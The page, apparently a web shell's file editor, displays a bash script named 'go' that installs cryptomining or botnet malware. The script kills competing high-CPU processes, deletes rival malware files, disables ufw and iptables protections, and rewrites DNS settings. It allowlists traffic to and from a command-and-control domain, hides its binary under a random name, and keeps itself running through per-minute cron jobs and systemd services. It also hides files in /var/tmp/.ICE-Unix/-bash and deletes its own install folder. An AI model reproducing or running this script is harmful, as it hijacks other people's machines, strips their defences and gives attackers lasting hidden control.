Edit file File name : go Content :#!/bin/bash # Check if nslookup is already installed if ! command -v nslookup &> /dev/null; then # Install nslookup based on the package manager if command -v yum &> /dev/null; then sudo yum install bind-utils -y > /dev/null 2>&1 elif command -v apt-get &> /dev/null; then #sudo apt-get update sudo apt-get install dnsutils -y > /dev/null 2>&1 else echo "Failed to install." exit 1 fi fi # Check if script is running as root if [ "$(id -u)" -eq 0 ]; then ########## kill ########## ps aux | grep -vw 'xmr-stak\|ld-linux.so.2' | (test -e /bin/.lock && grep -vwf /bin/.lock) | awk '{if($3>40.0) print $2}' | while read procid; do kill -9 $procid; done 2>/dev/null ########## chattr ########## chattr -i /usr/bin/player >/dev/null 2>&1 chattr -i /usr/local/lib/libextrasshd.so >/dev/null 2>&1 chattr -i /usr/lib/std++.so >/dev/null 2>&1 chattr -i /usr/local/lib/libmount.so >/dev/null 2>&1 chattr -i /usr/local/lib/libs.so >/dev/null 2>&1 chattr -i /usr/local/lib/pscan.so >/dev/null 2>&1 chattr -i /usr/local/lib/bioset.so >/dev/null 2>&1 chattr -i /usr/local/lib/mscan.so >/dev/null 2>&1 chattr -i /usr/local/lib/ext4.so >/dev/null 2>&1 chattr -i /usr/local/lib/zrab.so >/dev/null 2>&1 chattr -i /etc/ld.so.preload >/dev/null 2>&1 chattr -i /etc/init.d/sync >/dev/null 2>&1 chattr -i /etc/cron.weekly/sync >/dev/null 2>&1 chattr -i /etc/cron.hourly/sync >/dev/null 2>&1 chattr -i /etc/cron.daily/sync >/dev/null 2>&1 chattr -i /etc/cron.monthly/sync >/dev/null 2>&1 chattr -i /etc/crond.d/apache >/dev/null 2>&1 chattr -i /etc/crond.d/root >/dev/null 2>&1 chattr -i /etc/crond.d/nginx >/dev/null 2>&1 chattr -i /etc/crond.d/pwnrig >/dev/null 2>&1 chattr -i /bin/sysdrr >/dev/null 2>&1 ########## remove ########## rm -rf /usr/bin/player >/dev/null 2>&1 rm -rf /usr/local/lib/libextrasshd.so >/dev/null 2>&1 rm -rf /usr/lib/std++.so >/dev/null 2>&1 rm -rf /usr/local/lib/libmount.so >/dev/null 2>&1 rm -rf /usr/local/lib/libs.so >/dev/null 2>&1 rm -rf /usr/local/lib/pscan.so >/dev/null 2>&1 rm -rf /usr/local/lib/bioset.so >/dev/null 2>&1 rm -rf /usr/local/lib/mscan.so >/dev/null 2>&1 rm -rf /usr/local/lib/ext4.so >/dev/null 2>&1 rm -rf /usr/local/lib/zrab.so >/dev/null 2>&1 rm -rf /etc/ld.so.preload >/dev/null 2>&1 rm -rf /etc/init.d/sync >/dev/null 2>&1 rm -rf /etc/cron.weekly/sync >/dev/null 2>&1 rm -rf /etc/cron.hourly/sync >/dev/null 2>&1 rm -rf /etc/cron.daily/sync >/dev/null 2>&1 rm -rf /etc/cron.monthly/sync >/dev/null 2>&1 rm -rf /etc/crond.d/apache >/dev/null 2>&1 rm -rf /etc/crond.d/root >/dev/null 2>&1 rm -rf /etc/crond.d/nginx >/dev/null 2>&1 rm -rf /etc/crond.d/pwnrig >/dev/null 2>&1 rm -rf /bin/sysdrr >/dev/null 2>&1 ufw disable >/dev/null 2>&1 iptables -P INPUT ACCEPT >/dev/null 2>&1 iptables -P OUTPUT ACCEPT >/dev/null 2>&1 iptables -P FORWARD ACCEPT >/dev/null 2>&1 # Check if /etc/resolv.conf exists if [ -e /etc/resolv.conf ]; then # Remove all existing "nameserver" lines sed -i '/^nameserver/d' /etc/resolv.conf 2>/dev/null # Add Google's DNS servers echo "nameserver 8.8.8.8" >> /etc/resolv.conf 2>/dev/null echo "nameserver 8.8.4.4" >> /etc/resolv.conf 2>/dev/null else echo "Error: /etc/resolv.conf not found." > /dev/null 2>&1 exit 1 fi domain="kn.lnxx.site" ports="80 443 3333" protocol="tcp" ip_addresses=$(nslookup -timeout=2 -retry=1 "$domain" | grep Address | awk '!/8\.8\.8\.8#53/ {print $2}') if [ -n "$ip_addresses" ]; then for ip in $ip_addresses; do for port in $ports; do iptables -A INPUT -s "$ip" -p "$protocol" --dport "$port" -j ACCEPT >/dev/null 2>&1 iptables -A OUTPUT -s "$ip" -p "$protocol" --dport "$port" -j ACCEPT >/dev/null 2>&1 done done else echo "Failed" fi echo -e "\e[34LLoading\e[0m" slbz=$(cat /dev/urandom | tr -dc 'a-zA-Z0-9' | fold -w 8 | head -n 1) file1="/bin/$slbz" mv kn $file1 ########## crontab ########## cron=$(cat /dev/urandom | tr -dc 'a-zA-Z0-9' | fold -w 8 | head -n 1) hour=$(cat /dev/urandom | tr -dc 'a-zA-Z0-9' | fold -w 8 | head -n 1) day=$(cat /dev/urandom | tr -dc 'a-zA-Z0-9' | fold -w 8 | head -n 1) week=$(cat /dev/urandom | tr -dc 'a-zA-Z0-9' | fold -w 8 | head -n 1) month=$(cat /dev/urandom | tr -dc 'a-zA-Z0-9' | fold -w 8 | head -n 1) echo "*/1 * * * * root $file1 1 1" > /etc/cron.d/$cron echo "*/1 * * * * root $file1 1 1" > /etc/cron.hourly/$hour echo "*/1 * * * * root $file1 1 1" > /etc/cron.daily/$day echo "*/1 * * * * root $file1 1 1" > /etc/cron.weekly/$week echo "*/1 * * * * root $file1 1 1" > /etc/cron.monthly/$month ########## service ########## service=$(cat /dev/urandom | tr -dc 'a-zA-Z0-9' | fold -w 8 | head -n 1) mkdir -p /usr/lib/systemd/system/ >/dev/null 2>&1 cat > /usr/lib/systemd/system/$service.service <<EOF [Unit] Description=service After=network.target [Service] Type=simple ExecStart=$file1 RemainAfterExit=yes Restart=always RestartSec=60s [Install] WantedBy=multi-user.target EOF ########## service1 ########## service1=$(cat /dev/urandom | tr -dc 'a-zA-Z0-9' | fold -w 8 | head -n 1) mkdir -p /etc/systemd/system/ >/dev/null 2>&1 cat > /etc/systemd/system/$service1.service <<EOF [Unit] Description=service After=network.target [Service] Type=simple ExecStart=$file1 RemainAfterExit=yes Restart=always RestartSec=60s [Install] WantedBy=multi-user.target EOF chmod +x $file1 systemctl enable $service >/dev/null 2>&1 systemctl daemon-reload >/dev/null 2>&1 systemctl restart $service >/dev/null 2>&1 $file1 sleep 2 rm -rf ../"$(basename "$(pwd)")" else clear echo -e "\e[34mLOADING CONFIG FOR USER\e[0m" mkdir -p -- /var/tmp/.ICE-Unix/-bash >/dev/null 2>&1 temp_dir="/var/tmp/.ICE-Unix/-bash" >/dev/null 2>&1 mkdir -- -p "$temp_dir" >/dev/null 2>&1 cp -- x86_64 "$temp_dir/-bash" >/dev/null 2>&1 cp -- h64 "$temp_dir" >/dev/null 2>&1 cp -- upd "$temp_dir" >/dev/null 2>&1 cp -- x "$temp_dir/" >/dev/null 2>&1 cp -- run "$temp_dir" >/dev/null 2>&1 cp -- a "$temp_dir/" >/dev/null 2>&1 rm -rf ../"$(basename "$(pwd)")" cd -- "$temp_dir" && ./x fi Save